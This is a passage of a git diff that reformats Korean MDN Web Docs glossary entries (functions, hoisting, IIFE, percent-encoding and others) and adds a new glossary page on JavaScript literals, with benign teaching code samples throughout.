 > **참고:** 오브젝트는 [\[\[IsHTMLDDA\]\] internal slot](https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot) 을 가지고 있어야 거짓같은 값이 됩니다. 이 슬롯은 [`document.all`](/ko/docs/Web/API/Document/all) 에만 존재하며 자바스크립트로 설정될 수 없습니다.
 
@@ -41,10 +41,10 @@ if ("")
 첫 번째 객체가 거짓 같은 값이라면, 해당 객체를 반환합니다.
 
 ```js
-false && "dog"
+false && "dog";
 // ↪ false
 
-0 && "dog"
+0 && "dog";
 // ↪ 0
 ```
 
diff --git a/files/ko/glossary/first-class_function/index.md b/files/ko/glossary/first-class_function/index.md
index 80ff39fbc2efaa..c16ba07c4ed5d7 100644
--- a/files/ko/glossary/first-class_function/index.md
+++ b/files/ko/glossary/first-class_function/index.md
@@ -23,8 +23,8 @@ foo(); // 변수를 사용해 호출
 {{glossary("Variable", "변수")}}에 '익명함수'를 할당한 다음, 끝에 괄호 `()`를 추가하면서 함수를 호출할 해당 변수를 사용합니다.
 
 > **참고:** 함수가 이름을 가지고 있더라도, 변수 이름을 사용하여 함수를 호출할 수 있습니다.
-함수에 이름을 지정하는 것은 코드를 디버깅할 때 도움이 됩니다.
-하지만 함수를 호출하는 방식에는 영향을 미치지 않을 것입니다.
+> 함수에 이름을 지정하는 것은 코드를 디버깅할 때 도움이 됩니다.
+> _하지만 함수를 호출하는 방식에는 영향을 미치지 않을 것입니다._
 
 ### 함수에 전달인자로 전달
 
diff --git a/files/ko/glossary/flex_container/index.md b/files/ko/glossary/flex_container/index.md
index d4df3413303957..06f46a66313cca 100644
--- a/files/ko/glossary/flex_container/index.md
+++ b/files/ko/glossary/flex_container/index.md
@@ -2,6 +2,7 @@
 title: 플렉스 컨테이너
 slug: Glossary/Flex_Container
 ---
+
 {{glossary("flexbox", "플렉스박스")}} 레이아웃은 부모 요소의 `display` 속성에 `flex` 또는 `inline-flex` 값을 지정해 정의합니다. 이 때, 부모 요소는 **플렉스 컨테이너**, 각각의 자식 요소를 {{glossary("flex item", "플렉스 항목")}}이 됩니다.
 
 `flex` 값은 요소를 블록 레벨 플렉스 컨테이너로 지정하고, `inline-flex`는 인라인 레벨 플렉스 컨테이너로 지정합니다. 두 값은 요소에 새로운 **플렉스 서식 맥락**을 생성합니다. 플렉스 서식 맥락은 블록 서식 맥락과 유사하여 플로팅 요소가 컨테이너를 침범하지 않으며, 컨테이너의 바깥 여백이 자기 아래 플렉스 항목의 바깥 여백과 상쇄되지 않습니다.
diff --git a/files/ko/glossary/flex_item/index.md b/files/ko/glossary/flex_item/index.md
index 1fc365775d67d1..4d35030532d90d 100644
--- a/files/ko/glossary/flex_item/index.md
+++ b/files/ko/glossary/flex_item/index.md
@@ -2,6 +2,7 @@
 title: 플렉스 항목
 slug: Glossary/Flex_Item
 ---
+
 {{glossary("Flex Container", "플렉스 컨테이너")}}(`display: flex` 또는 `display: inline-flex`를 지정한 요소)의 바로 아래 자식은 **플렉스 항목**이 됩니다.
 
 플렉스 컨테이너 내의 텍스트 역시 플렉스 항목입니다.
diff --git a/files/ko/glossary/fork/index.md b/files/ko/glossary/fork/index.md
index 626112b4a63a46..601b1288700371 100644
--- a/files/ko/glossary/fork/index.md
+++ b/files/ko/glossary/fork/index.md
@@ -2,6 +2,7 @@
 title: Fork
 slug: Glossary/Fork
 ---
+
 포크는 프로젝트에 누군가의 자신의 수정 사항을 추가하기 위한 어떤 시점에 있는 기존 소프트웨어 프로젝트의 사본이다. 기본적으로, 만약 원본 소프트웨어의 라이센스가 허가한다면, 당신은 코드를 복사하여 자신의 추가사항을 가지고 그 코드를 개발할 수 있는데, 이것이 "포크"가 될 것이다.
 
 포크는 종종 무료 오픈소스 소프트웨어 개발에서 볼 수 있다. 이는 Git(또는 GitHub 플랫폼)을 사용한 기여 모델 덕분에 더 많이 사용되는 용어다.
diff --git a/files/ko/glossary/function/index.md b/files/ko/glossary/function/index.md
index 16d6cc1022ee9f..c1e2da66f975be 100644
--- a/files/ko/glossary/function/index.md
+++ b/files/ko/glossary/function/index.md
@@ -23,7 +23,7 @@ slug: Glossary/Function
 
 ```js
 // Function declaration
-function foo() {};
+function foo() {}
 
 // Named function expression
 (function bar() {});
@@ -35,17 +35,17 @@ const foo = () => {};
 **안쪽 함수**는 다른함수 내부에서 정의된 함수이다(아래 예에서는 square). **바깥 함수**는 함수를 포함하고 있는 함수이다(아래 예에서는 addSquares):
 
 ```js
-function addSquares(a,b) {
-   function square(x) {
-      return x * x;
-   }
-   return square(a) + square(b);
-};
+function addSquares(a, b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
 
 //Using ECMAScript 2015 arrow notation
-const addSquares = (a,b) => {
-   const square = x => x*x;
-   return square(a) + square(b);
+const addSquares = (a, b) => {
+  const square = (x) => x * x;
+  return square(a) + square(b);
 };
 ```
 
@@ -53,16 +53,14 @@ const addSquares = (a,b) => {
 
 ```js
 function loop(x) {
-   if (x >= 10)
-      return;
-   loop(x + 1);
-};
+  if (x >= 10) return;
+  loop(x + 1);
+}
 
 //Using ECMAScript 2015 arrow notation
-const loop = x => {
-   if (x >= 10)
-      return;
-   loop(x + 1);
+const loop = (x) => {
+  if (x >= 10) return;
+  loop(x + 1);
 };
 ```
 
@@ -79,14 +77,14 @@ function foo() {
 
 // Function expressions, named or anonymous, can be called immediately
 (function foo() {
-    console.log("Hello Foo");
-}());
+  console.log("Hello Foo");
+})();
 
 (function food() {
-    console.log("Hello Food");
+  console.log("Hello Food");
 })();
 
-(() => console.log('hello world'))();
+(() => console.log("hello world"))();
 ```
 
 IIFE에 대해 더 많은 설명이 필요하다면 위키피디아의 다음 페이지를 확인 바란다: [Immediately Invoked Function Expression](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
diff --git a/files/ko/glossary/global_object/index.md b/files/ko/glossary/global_object/index.md
index 12f8232173b9be..c988667123c35c 100644
--- a/files/ko/glossary/global_object/index.md
+++ b/files/ko/glossary/global_object/index.md
@@ -2,6 +2,7 @@
 title: 전역 객체
 slug: Glossary/Global_object
 ---
+
 전역 객체 {{glossary("object")}} 는 전역 범위 {{glossary("global scope")}} 에 항상 존재하는 객체를 의미합니다.
 
 자바스크립트에는 전역 객체로 선언된 객체들이 항상 존재합니다. 웹브라우저에서 스크립트가 전역 변수를 생성할 때, 그것들은 전역 객체의 멤버로서 생성됩니다. (이것은 {{Glossary("Node.js")}} 에서는 예외입니다.) 전역 객체의 {{Glossary("interface")}} 는 스크립트가 실행되고 있는 곳의 실행 컨텍스트에 의존합니다. 예를 들어:
@@ -23,19 +24,19 @@ foo === window.foo; // Returns: true
 
 전역 객체로 `foo` 변수를 선언한 뒤, 우리는 `foo` 변수명을 사용해 전역 객체인 `window.foo` 의 프로퍼티로 `window` 객체에서 그것의 값에 직접 접근할 수 있습니다.,
 
-#### 설명:
+#### 설명
 
 전역 객체 `foo` 는 `window` 객체에 아래와 같이 저장됩니다:
 
 ```js
-foo: "foobar"
+foo: "foobar";
 ```
 
 ### 전역 함수 접근
 
 ```js
 function greeting() {
-   console.log("Hi!");
+  console.log("Hi!");
 }
 
 window.greeting(); // It is the same as the normal invoking: greeting();
@@ -43,13 +44,13 @@ window.greeting(); // It is the same as the normal invoking: greeting();
 
 위의 예는 `window` 객체의 프로퍼티로서 어떻게 전역 함수가 저장되는지를 보여주고 있습니다 . 우리가 `greeting` 을 전역 함수로써 호출하면 내부적으로는 `window` 객체를 사용해 호출됨을 보여주고 있습니다.
 
-#### 설명:
+#### 설명
 
 전역 함수 `greeting` 은 아래와 같이 `window` 객체에 저장됩니다:
 
 ```js
 greeting: function greeting() {
-   console.log("Hi!");
+  console.log("Hi!");
 }
 ```
 
diff --git a/files/ko/glossary/gpl/index.md b/files/ko/glossary/gpl/index.md
index 29d05b33734939..ebdfff8afe46fd 100644
--- a/files/ko/glossary/gpl/index.md
+++ b/files/ko/glossary/gpl/index.md
@@ -2,6 +2,7 @@
 title: GPL
 slug: Glossary/GPL
 ---
+
 (GNU) GPL (General Public License)은 Free Software Foundation에서 배포하는 copyleft 무료 소프트웨어 라이선스이다. GPL 라이선스 프로그램의 사용자들은 동일한 면허에 따라 프로그램을 재분배(수정 또는 변경되지 않음)할 경우, 사용, 소스 코드 읽기, 수정 및 변경사항 재분배할 수 있는 자유가 부여된다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/head/index.md b/files/ko/glossary/head/index.md
index 995e98c04af363..3e4dffa18e2a1c 100644
--- a/files/ko/glossary/head/index.md
+++ b/files/ko/glossary/head/index.md
@@ -2,6 +2,7 @@
 title: Head
 slug: Glossary/Head
 ---
+
 **Head** 란 {{glossary("HTML")}} 문서의 일부분으로써 해당 문서의 {{glossary("metadata")}} 를 포함하는데, 예를 들면 저자, 설명, 그리고 HTML에 적용될 수 있는 {{glossary("CSS")}} 또는 {{glossary("JavaScript")}} 파일들로 연결되는 것들이 이에 해당될 수 있다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/hoisting/index.md b/files/ko/glossary/hoisting/index.md
index 2770bab86bf138..5d86aad3634a3b 100644
--- a/files/ko/glossary/hoisting/index.md
+++ b/files/ko/glossary/hoisting/index.md
@@ -2,6 +2,7 @@
 title: 호이스팅
 slug: Glossary/Hoisting
 ---
+
 JavaScript에서 **호이스팅**(hoisting)이란, 인터프리터가 변수와 함수의 메모리 공간을 선언 전에 미리 할당하는 것을 의미합니다. `var`로 선언한 변수의 경우 호이스팅 시 `undefined`로 변수를 초기화합니다. 반면 `let`과 `const`로 선언한 변수의 경우 호이스팅 시 변수를 초기화하지 않습니다.
 
 호이스팅을 설명할 땐 주로 "변수의 선언과 초기화를 분리한 후, 선언만 코드의 최상단으로 옮기는" 것으로 말하곤 합니다. 따라서 변수를 정의하는 코드보다 사용하는 코드가 앞서 등장할 수 있습니다. 다만 선언과 초기화를 함께 수행하는 경우, 선언 코드까지 실행해야 변수가 초기화된 상태가 됨을 주의하세요.
@@ -73,8 +74,8 @@ var y = 2; // y를 선언하고 초기화
 // 예제 2
 // 호이스팅은 없지만, 변수 초기화는 (아직 하지 않은 경우) 변수 선언까지 병행하므로 변수를 사용할 수 있음
 
-a = '크랜'; // a 초기화
-b = '베리'; // b 초기화
+a = "크랜"; // a 초기화
+b = "베리"; // b 초기화
 
 console.log(a + "" + b); // '크랜베리'
 ```
diff --git a/files/ko/glossary/html/index.md b/files/ko/glossary/html/index.md
index 59154d67979fbf..d049d8792a4b1b 100644
--- a/files/ko/glossary/html/index.md
+++ b/files/ko/glossary/html/index.md
@@ -2,6 +2,7 @@
 title: HTML
 slug: Glossary/HTML
 ---
+
 {{QuickLinksWithSubpages("/ko/docs/Glossary")}}
 **HTML**(Hypertext Markup Language)은 웹페이지의 구조를 지정하는 기술적인 언어입니다.
 
diff --git a/files/ko/glossary/http_3/index.md b/files/ko/glossary/http_3/index.md
index df6430e47c5803..3f85cdc7744431 100644
--- a/files/ko/glossary/http_3/index.md
+++ b/files/ko/glossary/http_3/index.md
@@ -2,6 +2,7 @@
 title: HTTP/3
 slug: Glossary/HTTP_3
 ---
+
 **HTTP/3**는 {{glossary("HTTP 2", "HTTP/2")}} 다음 [HTTP 네크워크 프로토콜](/ko/docs/Web/HTTP/Basics_of_HTTP)입니다.
 
 HTTP/3의 요점은 {{glossary("TCP")}} 대신 QUIC이라는 새로운 {{glossary("UDP")}} 프로토콜을 사용하는 것입니다.
diff --git a/files/ko/glossary/idempotent/index.md b/files/ko/glossary/idempotent/index.md
index 8ac06d9c1b49d1..8cb173f8357022 100644
--- a/files/ko/glossary/idempotent/index.md
+++ b/files/ko/glossary/idempotent/index.md
@@ -2,6 +2,7 @@
 title: 멱등성
 slug: Glossary/Idempotent
 ---
+
 동일한 요청을 한 번 보내는 것과 여러 번 연속으로 보내는 것이 같은 효과를 지니고, 서버의 상태도 동일하게 남을 때, 해당 HTTP 메서드가 **멱등성**을 가졌다고 말합니다. 다른 말로는, 멱등성 메서드에는 통계 기록 등을 제외하면 어떠한 부수 효과(side effect)도 존재해서는 안됩니다. 올바르게 구현한 경우 {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}} 메서드는 멱등성을 가지며, {{HTTPMethod("POST")}} 메서드는 그렇지 않습니다. 모든 {{glossary("safe", "안전한")}} 메서드는 멱등성도 가집니다.
 
 멱등성을 따질 땐 실제 서버의 백엔드 상태만 보면 되며, 각 요청에서 반환하는 응답 코드는 다를 수 있습니다. 첫 번째 {{HTTPMethod("DELETE")}} 요청이 {{HTTPStatus("200")}}을 반환한다면, 그 이후는 아마 {{HTTPStatus("404")}}를 반환할 것입니다. `DELETE`가 멱등성을 가진다는 것은, REST API에서 개발자는 `DELETE` 메서드를 사용해 "목록의 마지막 항목 제거" 기능을 구현해서는 안된다는 것입니다.
diff --git a/files/ko/glossary/iife/index.md b/files/ko/glossary/iife/index.md
index 68e49e6a9b2cd7..21c4d43d7064ae 100644
--- a/files/ko/glossary/iife/index.md
+++ b/files/ko/glossary/iife/index.md
@@ -7,7 +7,7 @@ slug: Glossary/IIFE
 
 ```js
 (function () {
-    statements
+  statements;
 })();
 ```
 
@@ -21,18 +21,18 @@ slug: Glossary/IIFE
 
 ```js
 (function () {
-    var aName = "Barry";
+  var aName = "Barry";
 })();
 // IIFE 내부에서 정의된 변수는 외부 범위에서 접근이 불가능하다.
-aName // throws "Uncaught ReferenceError: aName is not defined"
+aName; // throws "Uncaught ReferenceError: aName is not defined"
 ```
 
 IIFE를 변수에 할당하면 IIFE 자체는 저장되지 않고, 함수가 실행된 결과만 저장된다.
 
 ```js
 var result = (function () {
-    var name = "Barry";
-    return name;
+  var name = "Barry";
+  return name;
 })();
 // 즉시 결과를 생성한다.
 result; // "Barry"
diff --git a/files/ko/glossary/immutable/index.md b/files/ko/glossary/immutable/index.md
index 550517a0cf8755..857db715a568fd 100644
--- a/files/ko/glossary/immutable/index.md
+++ b/files/ko/glossary/immutable/index.md
@@ -2,6 +2,7 @@
 title: Immutable
 slug: Glossary/Immutable
 ---
+
 불변 [객체](/ko/docs/Glossary/Object) 는 내용을 변경할 수 없는 객체입니다.
 객체는 다양한 이유로 불변일 수 있습니다. 예를 들어 아래와 같습니다.
 
diff --git a/files/ko/glossary/index.md b/files/ko/glossary/index.md
index 2232951fe37f7c..ccd3899c06f1d9 100644
--- a/files/ko/glossary/index.md
+++ b/files/ko/glossary/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'MDN Web Docs 용어 사전: 웹 용어 정의'
+title: "MDN Web Docs 용어 사전: 웹 용어 정의"
 slug: Glossary
 ---
 
diff --git a/files/ko/glossary/inline-level_content/index.md b/files/ko/glossary/inline-level_content/index.md
index 4b1b9db80fdad2..b98c6b8f84718c 100644
--- a/files/ko/glossary/inline-level_content/index.md
+++ b/files/ko/glossary/inline-level_content/index.md
@@ -23,8 +23,10 @@ HTML(**Hypertext Markup Language**)의 요소는 역사적으로 ["블록 레벨
 인라인 요소를 보이는 다음 예제를 확인해주세요.
 
 ```html
-<div>다음 span은 <span class="highlight">인라인 요소</span>로,
-영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.</div>
+<div>
+  다음 span은 <span class="highlight">인라인 요소</span>로, 영향 범위의 시작과
+  끝을 알 수 있도록 배경색을 지정했습니다.
+</div>
 ```
 
 이 예제에서 {{HTMLElement("div")}}는 텍스트를 가진 블록 레벨 요소입니다. 그 텍스트 안에는 인라인 요소인 {{HTMLElement("span")}}이 존재합니다. `<span>`은 인라인이기 때문에 전체 문단이 끊기지 않고 하나로 그려집니다. 결과도 확인해보세요.
@@ -46,8 +48,11 @@ background-color:#ee3;
 이제 아까 만든 `<span>`을 마치 {{htmlelement("p")}}처럼 블록 레벨인 요소로 바꿔보겠습니다.
 
 ```html
-<div>다음 p는 <p class="highlight">블록 레벨 요소</p>로,
-영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.
+<div>
+  다음 p는
+  <p class="highlight">블록 레벨 요소</p>
+  로, 영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.
+</div>
 ```
 
 <div class="hidden"><p>The CSS (not displayed in standard reading mode) is also used:</p><pre class="brush: css">body {
diff --git a/files/ko/glossary/javascript/index.md b/files/ko/glossary/javascript/index.md
index 0c7327b98bf5e2..5a6d9fc6660c53 100644
--- a/files/ko/glossary/javascript/index.md
+++ b/files/ko/glossary/javascript/index.md
@@ -2,6 +2,7 @@
 title: JavaScript
 slug: Glossary/JavaScript
 ---
+
 JavaScript는 프로그래밍 언어입니다. 대부분의 상황에서는 클라이언트 측에서 웹페이지를 동적으로 다룰때 사용되며, 종종 {{Glossary("Server","서버")}} 측에서 [Node.js](http://nodejs.org/)와 같은 패키지를 이용하여 사용되기도 합니다.
 
 JavaScript는 Java와 가까운 관련이 없습니다만, [여기](/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java)에서 비교를 볼 수 있습니다.
diff --git a/files/ko/glossary/latency/index.md b/files/ko/glossary/latency/index.md
index 11b1f0f5f2860d..e50c6233869dfe 100644
--- a/files/ko/glossary/latency/index.md
+++ b/files/ko/glossary/latency/index.md
@@ -2,6 +2,7 @@
 title: Latency
 slug: Glossary/Latency
 ---
+
 **Latency**는 요청된 리소스가 대상에 도달하는데 걸리는 네트워크 시간입니다. 지연 시간이 짧으면 기다리는 시간이 거의 없거나, 아예 없습니다. 지연 시간이 길면 요청된 리소스가 대상에 도달하는 데 오랜 시간이 걸려 좋지 않습니다.
 
 지연 시간은 모든 종류의 데이터 흐름의 요인이 될 수 있지만, 일반적으로는 네트워크 지연 시간(데이터 패킷이 소스에서 대상으로 이동하는데 걸리는 시간)과 미디어 코덱 지연 시간(소스 데이터가 인코딩 혹은 디코딩되고 결과 데이터가 소비자에게 도달하는데 걸리는 시간) 관점에서 다룹니다.
diff --git a/files/ko/glossary/literal/index.md b/files/ko/glossary/literal/index.md
new file mode 100644
index 00000000000000..bc6f4093b82b7d
--- /dev/null
+++ b/files/ko/glossary/literal/index.md
@@ -0,0 +1,62 @@
+---
+title: Literal (리터럴)
+slug: Glossary/Literal
+l10n:
+  sourceCommit: ada5fa5ef15eadd44b549ecf906423b4a2092f34
+---
+
+{{GlossarySidebar}}
+
+**리터럴**은 JavaScript에서 값을 나타냅니다. 이는 변수가 아닌 여러분이 문자 그대로 스크립트에 제공한 고정된 값입니다.
+
+- [배열 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#array_literals)
+- [불리언 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#boolean_literals)
+- [부동 소수점 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#floating-point_literals)
+- [숫자 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#numeric_literals)
+- [객체 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#object_literals)
+- [정규식 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#regexp_literals)
+- [문자열 리터럴](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#string_literals)
+
+## 예제
+
+### 문자열 리터럴
+
+문자열 리터럴은 큰따옴표(`"`) 또는 작은따옴표(`'`)로 묶인 0개 이상의 문자입니다. 문자열은 같은 유형의 따옴표로 구분해야 합니다. 즉, 모두 작은따옴표 이거나 큰따옴표여야 합니다
+
+다음은 문자열 리터럴의 예제입니다.
+
+```js
+"foo";
+"bar";
+"1234";
+"one line \n new line";
+"Joyo's cat";
+```
+
+### 객체 리터럴
+
+객체 리터럴은 중괄호(`{}`)로 묶인 0개 이상의 객체의 속성 이름과 그와 연관된 값의 쌍의 목록입니다.
+
+다음은 객체 리터럴의 예제입니다. `car` 객체의 첫 번째 요소는 `myCar` 속성을 정의하고, 여기에 새 문자열 "`Toyota`"를 할당합니다. 두 번째 요소인 `getCar` 속성에는 `carTypes('Honda')` 함수 호출의 결과가 즉시 할당됩니다. 세 번째 요소인 `special` 속성은 기존 변수(`sales`)를 사용합니다.
+
+```js
+const sales = "BMW";
+
+function carTypes(name) {
+  return name === "Honda" ? name : `Sorry, we don't sell ${name}.`;
+}
+
+const car = {
+  myCar: "Toyota",
+  getCar: carTypes("Honda"),
+  special: sales,
+};
+
+console.log(car.myCar); // Toyota
+console.log(car.getCar); // Honda
+console.log(car.special); // BMW
+```
+
+## 같이 보기
+
+- [Literal](<https://en.wikipedia.org/wiki/Literal_(computer_programming)>) (위키백과)
diff --git a/files/ko/glossary/main_axis/index.md b/files/ko/glossary/main_axis/index.md
index d4c95409163d08..3fbc6478a062b7 100644
--- a/files/ko/glossary/main_axis/index.md
+++ b/files/ko/glossary/main_axis/index.md
@@ -2,6 +2,7 @@
 title: 주축
 slug: Glossary/Main_Axis
 ---
+
 {{glossary("flexbox", "플렉스박스")}}에서, **주축**이란 {{cssxref("flex-direction")}} 속성이 지정한 방향과 수평한 축입니다. `flex-direction`은 다음과 같은 네 가지 방향이 가능합니다.
 
 - `row`
diff --git a/files/ko/glossary/mutable/index.md b/files/ko/glossary/mutable/index.md
index 3a16a4b6682809..45de7e23609d01 100644
--- a/files/ko/glossary/mutable/index.md
+++ b/files/ko/glossary/mutable/index.md
@@ -14,13 +14,13 @@ slug: Glossary/Mutable
 **문자열과 숫자**는 **불변**입니다. 예제를 보고 이해해볼까요?
 
 ```js
-  var immutableString = "Hello";
+var immutableString = "Hello";
 
-  // 위의 코드에서는 문자열 값을 가진 새 개체가 생성됩니다.
+// 위의 코드에서는 문자열 값을 가진 새 개체가 생성됩니다.
 
-  immutableString = immutableString + "World";
+immutableString = immutableString + "World";
 
-  // 우리는 지금 기존 값에 "World" 를 추가하고 있습니다.
+// 우리는 지금 기존 값에 "World" 를 추가하고 있습니다.
 ```
 
 문자열 값을 사용하여 "immutableString" 을 추가하면 다음 이벤트가 발생합니다.:
diff --git a/files/ko/glossary/node.js/index.md b/files/ko/glossary/node.js/index.md
index a11afdcdbbf0f3..d6baa6e913c2c5 100644
--- a/files/ko/glossary/node.js/index.md
+++ b/files/ko/glossary/node.js/index.md
@@ -2,6 +2,7 @@
 title: Node.js
 slug: Glossary/Node.js
 ---
+
 {{QuickLinksWithSubpages("/ko/docs/Glossary")}}
 
 **Node.js**는 개발자가 서버 측과 네트워크 응용 프로그램을 만들 수 있도록 지원하는 크로스 플랫폼 {{Glossary("JavaScript")}} 런타임 환경입니다.
diff --git a/files/ko/glossary/null/index.md b/files/ko/glossary/null/index.md
index a48e6fb5d1d3e7..15773ac2bc6572 100644
--- a/files/ko/glossary/null/index.md
+++ b/files/ko/glossary/null/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Null'
+title: "Null"
 slug: Glossary/Null
 ---
+
 컴퓨터 과학에서 `null` 값은 일반적으로 존재하지 않거나 유효하지 않은 {{glossary ("object")}} 또는 주소를 의도적으로 가리키는 참조를 나타냅니다. null 참조의 의미는 언어의 구현에 따라 다양합니다.
 
 {{Glossary("JavaScript")}}에서 `null`은 동작이 원시적으로 보이기 때문에 {{Glossary ( "Primitive", "primitive values")}} 중 하나로 표시됩니다. 하지만 [`typeof`](/ko/docs/Web/JavaScript/Reference/Operators/typeof) 연산자를 사용할 때는 `object`를 반환합니다.
diff --git a/files/ko/glossary/object/index.md b/files/ko/glossary/object/index.md
index 5ce0d193a92a8f..2c1f27dc47f435 100644
--- a/files/ko/glossary/object/index.md
+++ b/files/ko/glossary/object/index.md
@@ -2,6 +2,7 @@
 title: Object
 slug: Glossary/Object
 ---
+
 [객체](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object)는 데이터 및 데이터 작업에 대한 지침을 포함하는 데이터 구조를 말한다. 객체는 때때로 레이싱 게임에서 `car` 나 `map` 과 같은 실생활에서의 것들을 지칭할 수 있다. {{glossary("JavaScript")}}, Java, C++, Python, and Ruby 는 {{glossary("OOP","객체 지향적 프로그래밍")}} 언어의 예이다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/oop/index.md b/files/ko/glossary/oop/index.md
index 5d32876fe5f711..3cf62b557d51db 100644
--- a/files/ko/glossary/oop/index.md
+++ b/files/ko/glossary/oop/index.md
@@ -2,6 +2,7 @@
 title: OOP
 slug: Glossary/OOP
 ---
+
 **OOP** (객체 지향적 프로그래밍) 는 데이터가 **{{glossary("object","객체")}}** 내에 캡슐화되고 구성 요소 부분이 아닌 객체 자체가 운용되는 프로그래밍 방식이다
 
 {{glossary("JavaScript")}} 는 매우 객체 지향적인 언어이다. JavaScript는 [클래스 기반의 것과는 대조적으로](/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages) **프로토타입** 기반의 모델을 따른다 .
diff --git a/files/ko/glossary/operator/index.md b/files/ko/glossary/operator/index.md
index efdcdc140b7140..0bce607ad71937 100644
--- a/files/ko/glossary/operator/index.md
+++ b/files/ko/glossary/operator/index.md
@@ -2,6 +2,7 @@
 title: Operator
 slug: Glossary/Operator
 ---
+
 연산자는 문장 부호 또는 내장 기능을 수행하는 영어 또는 숫자로 구성된 예약된 **구문**이다. 예를 들어, JavaScript에서 추가 연산자("+")는 숫자를 추가하고 문자열을 연결하며, "not" 연산자("!")는 식을 부정한다 (예를 들어 참 문을 거짓으로 되돌리도록 만든다.).
 
 ## 더 알아보기
diff --git a/files/ko/glossary/percent-encoding/index.md b/files/ko/glossary/percent-encoding/index.md
index bc1401e793314f..b152c3a0549a33 100644
--- a/files/ko/glossary/percent-encoding/index.md
+++ b/files/ko/glossary/percent-encoding/index.md
@@ -7,28 +7,28 @@ slug: Glossary/Percent-encoding
 
 인코딩이 필요한 특수문자는 `':'`, `'/'`, `'?'`, `'#'`, `'['`, `']'`, `'@'`, `'!'`, `'$'`, `'&'`, `"'"`, `'('`, `')'`, `'*'`, `'+'`, `','`, `';'`, `'='` 그리고 `'%'` 그 자체입니다. 다른 문자는 인코딩 할 수 있지만 인코딩을 할 필요는 없습니다.
 
-| 문자 | 인코딩     |
-| --------- | ------------ |
-| `':'`     | `%3A`        |
-| `'/'`     | `%2F`        |
-| `'?'`     | `%3F`        |
-| `'#'`     | `%23`        |
-| `'['`     | `%5B`        |
-| `']'`     | `%5D`        |
-| `'@'`     | `%40`        |
-| `'!'`     | `%21`        |
-| `'$'`     | `%24`        |
-| `'&'`     | `%26`        |
-| `"'"`     | `%27`        |
-| `'('`     | `%28`        |
-| `')'`     | `%29`        |
-| `'*'`     | `%2A`        |
-| `'+'`     | `%2B`        |
-| `','`     | `%2C`        |
-| `';'`     | `%3B`        |
-| `'='`     | `%3D`        |
-| `'%'`     | `%25`        |
-| `' '`     | `%20` or `+` |
+| 문자  | 인코딩       |
+| ----- | ------------ |
+| `':'` | `%3A`        |
+| `'/'` | `%2F`        |
+| `'?'` | `%3F`        |
+| `'#'` | `%23`        |
+| `'['` | `%5B`        |
+| `']'` | `%5D`        |
+| `'@'` | `%40`        |
+| `'!'` | `%21`        |
+| `'$'` | `%24`        |
+| `'&'` | `%26`        |
+| `"'"` | `%27`        |
+| `'('` | `%28`        |
+| `')'` | `%29`        |
+| `'*'` | `%2A`        |
+| `'+'` | `%2B`        |
+| `','` | `%2C`        |
+| `';'` | `%3B`        |
+| `'='` | `%3D`        |
+| `'%'` | `%25`        |
+| `' '` | `%20` or `+` |
 
 문맥에 따라 문자 `' '`는 `application/x-www-form-urlencoded` 메시지에서 사용된 것과 같은 퍼센트 인코딩처럼 `'+'`로 변환되며 URL에서는 `'%20'`으로 변환됩니다.
 
diff --git a/files/ko/glossary/png/index.md b/files/ko/glossary/png/index.md
index 5048ee4080da0b..171ca976f2f9d7 100644
--- a/files/ko/glossary/png/index.md
+++ b/files/ko/glossary/png/index.md
@@ -2,6 +2,7 @@
 title: PNG
 slug: Glossary/PNG
 ---
+
 **PNG**(Portable Network Graphics)는 무손실 데이터 압축을 지원하는 그래픽 파일 형식입니다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/polyfill/index.md b/files/ko/glossary/polyfill/index.md
index fe1da5c28595d4..49ca841d934396 100644
--- a/files/ko/glossary/polyfill/index.md
+++ b/files/ko/glossary/polyfill/index.md
@@ -2,6 +2,7 @@
 title: Polyfill
 slug: Glossary/Polyfill
 ---
+
 polyfill은 기본적으로 지원하지 않는 이전 브라우저에서 최신 기능을 제공하는 데 필요한 코드 (일반적으로 웹의 JavaScript)입니다.
 
 예를 들어, Silverlight 플러그인을 사용하여 Microsoft Internet Explorer 7에서 HTML Canvas 요소의 기능을 모방하거나 CSS rem 단위 또는 {{cssxref("text-shadow")}}를 모방하는 등 필요한 모든 것에 polyfill을 사용할 수 있습니다.
diff --git a/files/ko/glossary/primitive/index.md b/files/ko/glossary/primitive/index.md
index a21875b63a1f5a..6316e26e227f73 100644
--- a/files/ko/glossary/primitive/index.md
+++ b/files/ko/glossary/primitive/index.md
@@ -2,6 +2,7 @@
 title: 원시 값
 slug: Glossary/Primitive
 ---
+
 {{Glossary("JavaScript")}}에서 **원시 값**(primitive, 또는 원시 자료형)이란 {{Glossary("object", "객체")}}가 아니면서 {{glossary("method", "메서드")}}도 가지지 않는 데이터입니다. 원시 값에는 7종류, {{Glossary("string")}}, {{Glossary("number")}}, {{glossary("bigint")}}, {{Glossary("boolean")}}, {{Glossary("undefined")}}, {{Glossary("symbol")}}, 그리고 {{glossary("null")}}이 존재합니다.
 
 대부분의 경우, 원시 값은 언어 구현체의 가장 저급(low level) 단계에서 나타냅니다.
@@ -17,15 +18,15 @@ slug: Glossary/Primitive
 ```js
 // 문자열 메서드는 문자열을 변형하지 않음
 var bar = "baz";
-console.log(bar);        // baz
+console.log(bar); // baz
 bar.toUpperCase();
-console.log(bar);        // baz
+console.log(bar); // baz
